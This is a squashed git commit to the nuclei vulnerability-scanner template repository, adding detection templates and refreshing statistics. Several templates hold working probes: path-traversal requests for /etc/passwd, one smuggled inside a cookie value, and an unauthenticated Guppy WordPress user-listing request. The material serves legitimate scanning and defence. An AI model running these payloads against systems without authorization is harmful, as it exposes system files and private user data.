fix: branch update

* Added CVE-39226

* Added CVE-39226

* Delete CVE-39226.yaml

* Renamed CVE-39226 to CVE-2021-39226

Fixed naming error

* Added Wp-Guppy-Information-Disclosure template

* Removed File

Found better descriptor

* Added CVE-2021-24997

Added WordPress Guppy Information Disclosure CVE

* Fixed CVE-2021-24997

Fixed YAML formatting

* Fixed Typo

URL Path had an extra double quote

* Auto Generated Templates Stats [Wed Dec  8 23:07:24 UTC 2021] 🤖

* Deleted Blank Space

* Update CVE-2021-24997.yaml

* Update CVE-2021-24997.yaml

* Update CVE-2021-24997.yaml

* Update CVE-2021-24997.yaml

* Added CVE-2021-43496

* Update CVE-2021-43496.yaml

* fix: syntax update

* Added New Vuln

* Update CVE-2021-24997.yaml

* Update CVE-2021-43496.yaml

* Update and rename hd-netowrk-realtime-monitor-system-LFI.yaml to hdnetwork-realtime-lfi.yaml

* fix: lints update

Co-authored-by: Sandeep Singh <[email protected]>
Co-authored-by: GitHub Action <[email protected]>
Co-authored-by: Prince Chaddha <[email protected]>

.github/workflows/cve-annotate.yml

@@ -25,7 +25,7 @@ jobs:
         run: |
           if ! which cve-annotate > /dev/null; then
             echo -e "Command cve-annotate not found! Installing\c"
-            go install github.com/projectdiscovery/nuclei/v2/cmd/cve-annotate@dev
+            go install github.com/projectdiscovery/nuclei/v2/cmd/cve-annotate@latest
           fi
           cve-annotate -i ./cves/ -d .
           echo "::set-output name=changes::$(git status -s | wc -l)"

README.md

@@ -42,18 +42,18 @@ An overview of the nuclei template project, including statistics on unique tags,
 
 |    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
 |-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |   921 | daffainfo     |   354 | cves             |   927 | info     |   918 | http    |  2512 |
-| lfi       |   382 | dhiyaneshdk   |   342 | vulnerabilities  |   352 | high     |   695 | file    |    57 |
-| panel     |   321 | pikpikcu      |   287 | exposed-panels   |   321 | medium   |   528 | network |    47 |
+| cve       |   922 | daffainfo     |   354 | cves             |   928 | info     |   921 | http    |  2517 |
+| lfi       |   383 | dhiyaneshdk   |   342 | vulnerabilities  |   353 | high     |   696 | file    |    57 |
+| panel     |   324 | pikpikcu      |   287 | exposed-panels   |   324 | medium   |   528 | network |    47 |
 | xss       |   290 | pdteam        |   216 | technologies     |   226 | critical |   326 | dns     |    12 |
-| wordpress |   270 | geeknik       |   172 | exposures        |   196 | low      |   166 |         |       |
+| wordpress |   271 | geeknik       |   172 | exposures        |   196 | low      |   167 |         |       |
 | exposure  |   250 | dwisiswant0   |   158 | misconfiguration |   164 |          |       |         |       |
-| rce       |   231 | gy741         |    91 | token-spray      |   133 |          |       |         |       |
-| tech      |   230 | pussycat0x    |    91 | takeovers        |    65 |          |       |         |       |
-| cve2021   |   192 | 0x_akoko      |    77 | default-logins   |    63 |          |       |         |       |
-| wp-plugin |   186 | princechaddha |    72 | file             |    57 |          |       |         |       |
+| tech      |   233 | pussycat0x    |    94 | token-spray      |   133 |          |       |         |       |
+| rce       |   231 | gy741         |    91 | takeovers        |    65 |          |       |         |       |
+| cve2021   |   192 | 0x_akoko      |    79 | default-logins   |    63 |          |       |         |       |
+| wp-plugin |   187 | princechaddha |    72 | file             |    57 |          |       |         |       |
 
-**192 directories, 2700 files**.
+**192 directories, 2705 files**.
 
 </td>
 </tr>

TEMPLATES-STATS.json

@@ -1 +1 @@
-{"tags":[{"name":"cve","count":921},{"name":"lfi","count":382},{"name":"panel","count":321},{"name":"xss","count":290},{"name":"wordpress","count":270},{"name":"exposure","count":250},{"name":"rce","count":231},{"name":"tech","count":230},{"name":"cve2021","count":192},{"name":"wp-plugin","count":186},{"name":"cve2020","count":172},{"name":"token-spray","count":133},{"name":"joomla","count":128},{"name":"cve2010","count":109},{"name":"cve2019","count":106},{"name":"cve2018","count":102},{"name":"config","count":100},{"name":"iot","count":84},{"name":"apache","count":82},{"name":"oast","count":81},{"name":"default-login","count":72},{"name":"takeover","count":69},{"name":"token","count":68},{"name":"file","count":57},{"name":"unauth","count":57},{"name":"cve2017","count":56},{"name":"ssrf","count":47},{"name":"sqli","count":46},{"name":"","count":45},{"name":"network","count":45},{"name":"oracle","count":42},{"name":"misconfig","count":41},{"name":"cve2016","count":40},{"name":"redirect","count":40},{"name":"cve2014","count":36},{"name":"logs","count":34},{"name":"google","count":31},{"name":"cve2015","count":31},{"name":"jira","count":30},{"name":"cisco","count":29},{"name":"atlassian","count":29},{"name":"auth-bypass","count":29},{"name":"listing","count":29},{"name":"router","count":26},{"name":"generic","count":24},{"name":"disclosure","count":23},{"name":"misc","count":21},{"name":"aem","count":20},{"name":"cve2012","count":19},{"name":"debug","count":19},{"name":"login","count":19},{"name":"sap","count":18},{"name":"springboot","count":18},{"name":"php","count":16},{"name":"fuzz","count":16},{"name":"wp-theme","count":16},{"name":"weblogic","count":16},{"name":"aws","count":15},{"name":"devops","count":15},{"name":"cve2011","count":15},{"name":"deserialization","count":14},{"name":"adobe","count":14},{"name":"struts","count":14},{"name":"cve2009","count":14},{"name":"intrusive","count":13},{"name":"android","count":13},{"name":"dlink","count":13},{"name":"dns","count":13},{"name":"netsweeper","count":12},{"name":"zoho","count":12},{"name":"jenkins","count":12},{"name":"manageengine","count":12},{"name":"xxe","count":12},{"name":"magento","count":11},{"name":"microsoft","count":11},{"name":"cve2013","count":11},{"name":"ibm","count":11},{"name":"hp","count":11},{"name":"dell","count":10},{"name":"cms","count":10},{"name":"fileupload","count":9},{"name":"cve2008","count":9},{"name":"vmware","count":9},{"name":"ftp","count":9},{"name":"kubernetes","count":9},{"name":"rails","count":9},{"name":"airflow","count":9},{"name":"fastjson","count":9},{"name":"gitlab","count":9},{"name":"grafana","count":8},{"name":"cnvd","count":8},{"name":"netgear","count":8},{"name":"backup","count":8},{"name":"nginx","count":8},{"name":"scada","count":8},{"name":"ruijie","count":8},{"name":"coldfusion","count":8},{"name":"confluence","count":7},{"name":"solr","count":7},{"name":"files","count":7},{"name":"jolokia","count":7},{"name":"camera","count":7},{"name":"prometheus","count":7},{"name":"django","count":7},{"name":"glpi","count":6},{"name":"sitecore","count":6},{"name":"nodejs","count":6},{"name":"lucee","count":6},{"name":"citrix","count":6},{"name":"windows","count":6},{"name":"squirrelmail","count":6},{"name":"api","count":6},{"name":"jetty","count":6},{"name":"go","count":6},{"name":"laravel","count":6},{"name":"rconfig","count":6},{"name":"magmi","count":6},{"name":"phpmyadmin","count":6},{"name":"docker","count":6},{"name":"drupal","count":6},{"name":"java","count":5},{"name":"dedecms","count":5},{"name":"gocd","count":5},{"name":"iis","count":5},{"name":"symfony","count":5},{"name":"circarlife","count":5},{"name":"git","count":5},{"name":"ssti","count":5},{"name":"tomcat","count":5},{"name":"exchange","count":5},{"name":"crlf","count":5},{"name":"wso2","count":5},{"name":"fatpipe","count":5},{"name":"thinkphp","count":5},{"name":"minio","count":5},{"name":"headless","count":5},{"name":"printer","count":5},{"name":"bigip","count":4},{"name":"wcs","count":4},{"name":"firebase","count":4},{"name":"buffalo","count":4},{"name":"thinkcmf","count":4},{"name":"rfi","count":4},{"name":"webserver","count":4},{"name":"firmware","count":4},{"name":"artifactory","count":4},{"name":"moodle","count":4},{"name":"zimbra","count":4},{"name":"zabbix","count":4},{"name":"opensis","count":4},{"name":"amazon","count":4},{"name":"jellyfin","count":4},{"name":"keycloak","count":4},{"name":"enum","count":4},{"name":"solarwinds","count":4},{"name":"hongdian","count":4},{"name":"slack","count":4},{"name":"asp","count":4},{"name":"strapi","count":4},{"name":"npm","count":4},{"name":"resin","count":4},{"name":"traversal","count":4},{"name":"proxy","count":4},{"name":"symantec","count":4},{"name":"vpn","count":4},{"name":"maps","count":4},{"name":"microstrategy","count":4},{"name":"samsung","count":4},{"name":"elastic","count":4},{"name":"cve2007","count":4},{"name":"panos","count":4},{"name":"sql","count":3},{"name":"mongodb","count":3},{"namLine truncated
+{"tags":[{"name":"cve","count":922},{"name":"lfi","count":383},{"name":"panel","count":324},{"name":"xss","count":290},{"name":"wordpress","count":271},{"name":"exposure","count":250},{"name":"tech","count":233},{"name":"rce","count":231},{"name":"cve2021","count":192},{"name":"wp-plugin","count":187},{"name":"cve2020","count":172},{"name":"token-spray","count":133},{"name":"joomla","count":128},{"name":"cve2010","count":109},{"name":"cve2019","count":106},{"name":"cve2018","count":103},{"name":"config","count":100},{"name":"iot","count":84},{"name":"apache","count":82},{"name":"oast","count":81},{"name":"default-login","count":72},{"name":"takeover","count":69},{"name":"token","count":68},{"name":"unauth","count":57},{"name":"file","count":57},{"name":"cve2017","count":56},{"name":"ssrf","count":47},{"name":"sqli","count":46},{"name":"network","count":45},{"name":"","count":45},{"name":"oracle","count":42},{"name":"redirect","count":41},{"name":"misconfig","count":41},{"name":"cve2016","count":40},{"name":"cve2014","count":36},{"name":"logs","count":34},{"name":"cve2015","count":31},{"name":"google","count":31},{"name":"jira","count":30},{"name":"auth-bypass","count":29},{"name":"listing","count":29},{"name":"cisco","count":29},{"name":"atlassian","count":29},{"name":"router","count":26},{"name":"generic","count":24},{"name":"disclosure","count":23},{"name":"misc","count":21},{"name":"aem","count":20},{"name":"login","count":19},{"name":"debug","count":19},{"name":"cve2012","count":19},{"name":"springboot","count":18},{"name":"sap","count":18},{"name":"php","count":16},{"name":"fuzz","count":16},{"name":"weblogic","count":16},{"name":"wp-theme","count":16},{"name":"devops","count":15},{"name":"cve2011","count":15},{"name":"aws","count":15},{"name":"adobe","count":14},{"name":"cve2009","count":14},{"name":"struts","count":14},{"name":"deserialization","count":14},{"name":"dlink","count":13},{"name":"android","count":13},{"name":"dns","count":13},{"name":"intrusive","count":13},{"name":"zoho","count":12},{"name":"netsweeper","count":12},{"name":"manageengine","count":12},{"name":"xxe","count":12},{"name":"jenkins","count":12},{"name":"ibm","count":11},{"name":"microsoft","count":11},{"name":"hp","count":11},{"name":"magento","count":11},{"name":"cve2013","count":11},{"name":"cms","count":10},{"name":"dell","count":10},{"name":"vmware","count":9},{"name":"cve2008","count":9},{"name":"fastjson","count":9},{"name":"ftp","count":9},{"name":"kubernetes","count":9},{"name":"fileupload","count":9},{"name":"rails","count":9},{"name":"gitlab","count":9},{"name":"airflow","count":9},{"name":"cnvd","count":8},{"name":"ruijie","count":8},{"name":"scada","count":8},{"name":"grafana","count":8},{"name":"coldfusion","count":8},{"name":"backup","count":8},{"name":"nginx","count":8},{"name":"netgear","count":8},{"name":"solr","count":7},{"name":"files","count":7},{"name":"camera","count":7},{"name":"prometheus","count":7},{"name":"django","count":7},{"name":"confluence","count":7},{"name":"jolokia","count":7},{"name":"docker","count":6},{"name":"jetty","count":6},{"name":"laravel","count":6},{"name":"windows","count":6},{"name":"citrix","count":6},{"name":"sitecore","count":6},{"name":"lucee","count":6},{"name":"nodejs","count":6},{"name":"go","count":6},{"name":"phpmyadmin","count":6},{"name":"drupal","count":6},{"name":"squirrelmail","count":6},{"name":"glpi","count":6},{"name":"api","count":6},{"name":"rconfig","count":6},{"name":"magmi","count":6},{"name":"exchange","count":5},{"name":"circarlife","count":5},{"name":"iis","count":5},{"name":"minio","count":5},{"name":"ssti","count":5},{"name":"java","count":5},{"name":"tomcat","count":5},{"name":"symfony","count":5},{"name":"fatpipe","count":5},{"name":"printer","count":5},{"name":"git","count":5},{"name":"dedecms","count":5},{"name":"gocd","count":5},{"name":"wso2","count":5},{"name":"crlf","count":5},{"name":"headless","count":5},{"name":"thinkphp","count":5},{"name":"strapi","count":4},{"name":"bigip","count":4},{"name":"panos","count":4},{"name":"hongdian","count":4},{"name":"elastic","count":4},{"name":"maps","count":4},{"name":"enum","count":4},{"name":"firmware","count":4},{"name":"keycloak","count":4},{"name":"artifactory","count":4},{"name":"proxy","count":4},{"name":"rfi","count":4},{"name":"firebase","count":4},{"name":"amazon","count":4},{"name":"thinkcmf","count":4},{"name":"zimbra","count":4},{"name":"vpn","count":4},{"name":"buffalo","count":4},{"name":"cve2007","count":4},{"name":"npm","count":4},{"name":"solarwinds","count":4},{"name":"moodle","count":4},{"name":"wcs","count":4},{"name":"traversal","count":4},{"name":"samsung","count":4},{"name":"asp","count":4},{"name":"webserver","count":4},{"name":"slack","count":4},{"name":"jellyfin","count":4},{"name":"symantec","count":4},{"name":"microstrategy","count":4},{"name":"resin","count":4},{"name":"opensis","count":4},{"name":"zabbix","count":4},{"name":"cves","count":3},{"name":"cacti","count":3},{"nameLine truncated

TOP-10.md

@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
 |-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |   921 | daffainfo     |   354 | cves             |   927 | info     |   918 | http    |  2512 |
-| lfi       |   382 | dhiyaneshdk   |   342 | vulnerabilities  |   352 | high     |   695 | file    |    57 |
-| panel     |   321 | pikpikcu      |   287 | exposed-panels   |   321 | medium   |   528 | network |    47 |
+| cve       |   922 | daffainfo     |   354 | cves             |   928 | info     |   921 | http    |  2517 |
+| lfi       |   383 | dhiyaneshdk   |   342 | vulnerabilities  |   353 | high     |   696 | file    |    57 |
+| panel     |   324 | pikpikcu      |   287 | exposed-panels   |   324 | medium   |   528 | network |    47 |
 | xss       |   290 | pdteam        |   216 | technologies     |   226 | critical |   326 | dns     |    12 |
-| wordpress |   270 | geeknik       |   172 | exposures        |   196 | low      |   166 |         |       |
+| wordpress |   271 | geeknik       |   172 | exposures        |   196 | low      |   167 |         |       |
 | exposure  |   250 | dwisiswant0   |   158 | misconfiguration |   164 |          |       |         |       |
-| rce       |   231 | gy741         |    91 | token-spray      |   133 |          |       |         |       |
-| tech      |   230 | pussycat0x    |    91 | takeovers        |    65 |          |       |         |       |
-| cve2021   |   192 | 0x_akoko      |    77 | default-logins   |    63 |          |       |         |       |
-| wp-plugin |   186 | princechaddha |    72 | file             |    57 |          |       |         |       |
+| tech      |   233 | pussycat0x    |    94 | token-spray      |   133 |          |       |         |       |
+| rce       |   231 | gy741         |    91 | takeovers        |    65 |          |       |         |       |
+| cve2021   |   192 | 0x_akoko      |    79 | default-logins   |    63 |          |       |         |       |
+| wp-plugin |   187 | princechaddha |    72 | file             |    57 |          |       |         |       |

cves/2021/CVE-2021-24997.yaml

@@ -0,0 +1,34 @@
+id: CVE-2021-24997
+
+info:
+  name: CVE-2021-24997
+  author: Evan Rubinstein
+  description: Instances of the Guppy Wordpress extension up to 1.1 are vulnerable to an API disclosure vulnerability which allows remote unauthenticated attackrs to obtain all user IDs, and then use that information to make API requests to either get messages sent between users, or send messages posing as one user to another.
+  reference:
+    - https://www.exploit-db.com/exploits/50540
+    - https://patchstack.com/database/vulnerability/wp-guppy/wordpress-wp-guppy-plugin-1-2-sensitive-information-disclosure-vulnerability
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-24997
+  classification:
+    cvss-score: 5.4
+    cve-id: CVE-2021-24997
+    cwe-id: CWE-200
+  tags: wordpress,guppy,api,cve2021,cve,wp-plugin
+
+requests:
+  - method:
+    path:
+      - "{{BaseURL}}/wp-json/guppy/v2/load-guppy-users?userId=1&offset=0&search="
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: body
+        words:
+          - '"guppyUsers":'
+          - '"userId":'
+          - '"type":'
+        condition: and

cves/2021/CVE-2021-39226.yaml

@@ -28,4 +28,4 @@ requests:
 
       - type: word
         words:
-          - '"isSnapshot":true'
+          - '"isSnapshot":true'

cves/2021/CVE-2021-43496.yaml

@@ -0,0 +1,27 @@
+id: CVE-2021-43496
+
+info:
+  name: Clustering LFI
+  author: Evan Rubinstein
+  severity: high
+  description: Clustering master branch as of commit 53e663e259bcfc8cdecb56c0bb255bd70bfcaa70 is affected by a directory traversal vulnerability. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.
+  reference:
+    - https://github.com/varun-suresh/Clustering/issues/12
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-43496
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cvss-score: 7.5
+    cve-id: CVE-2021-43496
+    cwe-id: CWE-22
+  tags: cve,cve2021,lfi,clustering
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/img/../../../../../../etc/passwd"
+
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "root:.*:0:0:"

cves/2021/CVE-2021-44228.yaml

@@ -31,11 +31,11 @@ requests:
       - type: regex
         part: interactsh_request
         regex:
-          - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.interact(\.sh|sh\.com)'
+          - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
 
     extractors:
       - type: regex
         part: interactsh_request
         group: 1
         regex:
-          - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.interact(\.sh|sh\.com)'   # Extract ${hostName}
+          - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output

exposed-panels/thruk-login.yaml

@@ -0,0 +1,28 @@
+id: thruk-login
+
+info:
+  name: thruk detect
+  author: ffffffff0x
+  severity: info
+  metadata:
+    fofa-query: title=="Thruk Monitoring Webinterface"
+  tags: thruk,panel
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/thruk/cgi-bin/login.cgi?thruk/"
+
+    redirects: true
+    max-redirects: 2
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '<title>Thruk Monitoring Webinterface</title>'
+
+      - type: word
+        part: header
+        words:
+          - "thruk_test="

misconfiguration/formalms-install.yaml

@@ -0,0 +1,25 @@
+id: formalms-install
+
+info:
+  name: Formalms Exposed Installation
+  author: princechaddha
+  severity: high
+  tags: misconfig,formalms
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/install/'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '<title>forma.lms installer</title>'
+          - '<h1>forma.lms - Installation</h1>'
+        condition: and
+
+      - type: status
+        status:
+          - 200

vulnerabilities/other/hdnetwork-realtime-lfi.yaml

@@ -0,0 +1,28 @@
+id: hdnetwork-realtime-lfi
+info:
+  name: HD-Network Real-time Monitoring System 2.0 - Local File Inclusion
+  author: Evan Rubinstein
+  severity: high
+  description: Instances of HD-Netowrk Real-time Monitoring System version 2.0 are vulnerable to a Local File Inclusion (LFI) vulnerability which allows remote unauthenticate attackers to view important, confidnetial information.
+  reference: https://www.exploit-db.com/exploits/50588
+  metadata:
+    google-dork: intitle:"HD-Network Real-time Monitoring System V2.0"
+  tags: hdnetwork,lfi,iot,camera
+
+requests:
+  - raw:
+      - |
+        GET /language/lang HTTP/1.1
+        Host: {{Hostname}}
+        Referer: {{BaseURL}}
+        Cookie: s_asptitle=HD-Network%20Real-time%20Monitoring%20System%20V2.0; s_Language=../../../../../../../../../../../../../../etc/passwd; s_browsertype=2; s_ip=; s_port=; s_channum=; s_loginhandle=; s_httpport=; s_sn=; s_type=; s_devtype=
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200